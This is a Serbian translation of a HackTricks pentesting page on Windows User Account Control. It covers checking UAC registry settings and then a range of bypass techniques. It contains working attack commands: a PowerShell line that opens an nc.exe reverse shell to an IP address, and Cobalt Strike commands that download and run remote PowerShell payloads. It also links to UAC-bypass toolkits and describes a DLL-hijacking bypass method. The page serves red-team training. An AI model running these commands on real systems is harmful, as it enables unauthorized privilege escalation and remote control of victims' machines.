UAC - User Account Control

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu. Pristupite danas:

UAC

User Account Control (UAC) je funkcija koja omogućava zahtev za pristanak za povišene aktivnosti. Aplikacije imaju različite integritetne nivoe, i program sa visokim nivoom može obavljati zadatke koji potencijalno mogu ugroziti sistem. Kada je UAC omogućen, aplikacije i zadaci uvek se izvršavaju pod sigurnosnim kontekstom naloga koji nije administrator osim ako administrator eksplicitno odobri ovim aplikacijama/zadacima pristup nivou administratora da bi se izvršavali. To je funkcija koja olakšava administratore od nenamernih promena, ali se ne smatra sigurnosnom granicom.

Za više informacija o nivoima integriteta:

pageIntegrity Levels

Kada je UAC na snazi, administratoru je dodeljeno 2 tokena: standardni korisnički ključ, da obavlja redovne akcije kao običan nivo, i jedan sa administratorskim privilegijama.

Ova stranica detaljno opisuje kako UAC funkcioniše i uključuje proces prijavljivanja, korisničko iskustvo i arhitekturu UAC-a. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC funkcioniše specifično za njihovu organizaciju na lokalnom nivou (koristeći secpol.msc), ili konfigurisati i distribuirati putem Group Policy Objects (GPO) u okruženju Active Directory domena. Različite postavke su detaljno opisane ovde. Postoje 10 postavki Group Policy-a koje se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:

Neke programe automatski podižu ako korisnik pripada grupi administratora. Ovi binarni fajlovi imaju u svom Manifestu opciju autoElevate sa vrednošću True. Binarni fajl takođe mora biti potpisan od strane Microsoft-a.

Zatim, da bi se zaobišao UAC (podigao sa srednjeg nivoa integriteta na visoki) neki napadači koriste ovakve binarne fajlove da bi izvršili proizvoljni kod jer će biti izvršen iz procesa visokog nivoa integriteta.

Možete proveriti Manifest binarnog fajla koristeći alat sigcheck.exe iz Sysinternals-a. I možete videti nivo integriteta procesa koristeći Process Explorer ili Process Monitor (od Sysinternals-a).

Provera UAC-a

Da potvrdite da li je UAC omogućen uradite:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Ako je 1, tada je UAC aktiviran, ako je 0 ili ne postoji, tada je UAC neaktivan.

Zatim, proverite koji nivo je konfigurisan:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Ako je 0 onda, UAC neće tražiti potvrdu (kao onemogućeno)

  • Ako je 1 administratoru se traži korisničko ime i lozinka da bi izvršio binarnu datoteku sa visokim privilegijama (na Secure Desktop-u)

  • Ako je 2 (Uvek me obaveštavaj) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop-u)

  • Ako je 3 kao 1 ali nije neophodno na Secure Desktop-u

  • Ako je 4 kao 2 ali nije neophodno na Secure Desktop-u

  • Ako je 5 (podrazumevano) tražiće potvrdu od administratora da pokrene ne-Windows binarne datoteke sa visokim privilegijama

Zatim, treba da pogledate vrednost LocalAccountTokenFilterPolicy Ako je vrednost 0, tada samo korisnik sa RID 500 (ugrađeni Administrator) može obavljati administratorske zadatke bez UAC-a, a ako je 1, svi nalozi unutar grupe "Administratori" to mogu uraditi.

I na kraju pogledajte vrednost ključa FilterAdministratorToken Ako je 0 (podrazumevano), ugrađeni administratorski nalog može obavljati zadatke udaljene administracije, a ako je 1 ugrađeni administratorski nalog ne može obavljati zadatke udaljene administracije, osim ako je LocalAccountTokenFilterPolicy postavljen na 1.

Rezime

  • Ako je EnableLUA=0 ili ne postoji, nema UAC-a za bilo koga

  • Ako je EnableLua=1 i LocalAccountTokenFilterPolicy=1, Nema UAC-a za bilo koga

  • Ako je EnableLua=1 i LocalAccountTokenFilterPolicy=0 i FilterAdministratorToken=0, Nema UAC-a za RID 500 (Ugrađeni Administrator)

  • Ako je EnableLua=1 i LocalAccountTokenFilterPolicy=0 i FilterAdministratorToken=1, UAC za sve

Sve ove informacije mogu se prikupiti koristeći metasploit modul: post/windows/gather/win_privs

Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta:

net user %username%
whoami /groups | findstr Level

UAC zaobilazak

Imajte na umu da ako imate grafički pristup žrtvi, UAC zaobilazak je jednostavan jer jednostavno možete kliknuti na "Da" kada se pojavi UAC prozor.

UAC zaobilazak je potreban u sledećoj situaciji: UAC je aktiviran, vaš proces se izvršava u kontekstu srednjeg integriteta, a vaš korisnik pripada grupi administratora.

Važno je napomenuti da je mnogo teže zaobići UAC ako je postavljen na najviši nivo sigurnosti (Uvek) nego ako je postavljen na bilo koji od drugih nivoa (Podrazumevano).

UAC onemogućen

Ako je UAC već onemogućen (ConsentPromptBehaviorAdmin je 0), možete izvršiti obrnutu ljusku sa administratorskim privilegijama (visok nivo integriteta) koristeći nešto poput:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC zaobilaženje sa duplikacijom tokena

Veoma osnovno UAC "zaobilaženje" (potpisti pristup sistemu datoteka)

Ako imate shell sa korisnikom koji je unutar grupe Administratora, možete montirati C$ deljeni putem SMB (sistem datoteka) lokalno na novi disk i imaćete pristup svemu unutar sistema datoteka (čak i fascikli Administratora).

Izgleda da ovaj trik više ne funkcioniše

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC zaobilaženje pomoću Cobalt Strike-a

Tehnike Cobalt Strike-a će raditi samo ako UAC nije postavljen na svoj maksimalni nivo bezbednosti

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire i Metasploit takođe imaju nekoliko modula za zaobilaženje UAC-a.

KRBUACBypass

Dokumentacija i alat na https://github.com/wh0amitz/KRBUACBypass

UAC prevarni eksploiti

UACME koji je kompilacija nekoliko UAC prevarnih eksploita. Imajte na umu da će vam biti potrebno da kompajlirate UACME koristeći Visual Studio ili msbuild. Kompilacija će kreirati nekoliko izvršnih datoteka (kao što su Source\Akagi\outout\x64\Debug\Akagi.exe), trebaće vam znati koja vam je potrebna. Trebalo bi da budete oprezni jer će neka zaobilazenja pokrenuti neke druge programe koji će upozoriti korisnika da se nešto dešava.

UACME ima verziju izgradnje od koje je svaka tehnika počela da radi. Možete pretražiti tehniku koja utiče na vaše verzije:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Takođe, koristeći ovu stranicu možete dobiti Windows izdanje 1607 iz verzija izgradnje.

Više UAC zaobilazaka

Sve tehnike korišćene ovde zaobilaženja UAC zahtevaju potpuno interaktivnu ljusku sa žrtvom (obična nc.exe ljuska nije dovoljna).

Možete dobiti meterpreter sesiju. Migrirajte na proces koji ima vrednost Session jednaku 1:

(explorer.exe bi trebalo da radi)

UAC Bypass sa GUI

Ako imate pristup GUI možete jednostavno prihvatiti UAC prozor kada se pojavi, zaobilazak nije zaista potreban. Dakle, pristup GUI-ju će vam omogućiti da zaobiđete UAC.

Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno putem RDP-a) postoje neki alati koji će se izvršavati kao administrator odakle biste mogli pokrenuti na primer cmd kao admin direktno bez ponovnog prikazivanja UAC prozora kao što je https://github.com/oski02/UAC-GUI-Bypass-appverif. Ovo može biti malo skrivenije.

Bučni brute-force UAC zaobilazak

Ako vam nije stalo do buke uvek možete pokrenuti nešto poput https://github.com/Chainski/ForceAdmin što traži da se dozvole privilegije dok korisnik to ne prihvati.

Vaš sopstveni zaobilazak - Osnovna metodologija UAC zaobilaska

Ako pogledate UACME primetićete da većina UAC zaobilazaka zloupotrebljava Dll Hijacking ranjivost (uglavnom pisanjem zlonamernog dll-a na C:\Windows\System32). Pročitajte ovo da biste saznali kako pronaći Dll Hijacking ranjivost.

  1. Pronađite binarni fajl koji će se autoelevate (proverite da kada se izvrši radi na visokom nivou integriteta).

  2. Pomoću procmon-a pronađite "NAME NOT FOUND" događaje koji mogu biti ranjivi na DLL Hijacking.

  3. Verovatno ćete morati da napišete DLL unutar nekih zaštićenih putanja (kao što je C:\Windows\System32) gde nemate dozvole za pisanje. To možete zaobići koristeći:

  4. wusa.exe: Windows 7, 8 i 8.1. Omogućava izvlačenje sadržaja CAB fajla unutar zaštićenih putanja (jer se ovaj alat izvršava na visokom nivou integriteta).

  5. IFileOperation: Windows 10.

  6. Pripremite skriptu za kopiranje vašeg DLL-a unutar zaštićene putanje i izvršite ranjivi i autoelevated binarni fajl.

Još jedna tehnika UAC zaobilaska

Sastoji se u praćenju da li se autoElevated binarni fajl pokušava čitati iz registra ime/putanja binarnog fajla ili komande koja će biti izvršena (ovo je interesantnije ako binarni fajl traži ove informacije unutar HKCU).

Koristite Trickest da lako izgradite i automatizujete tokove rada pokretane najnaprednijim alatima zajednice na svetu. Pristupite danas:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated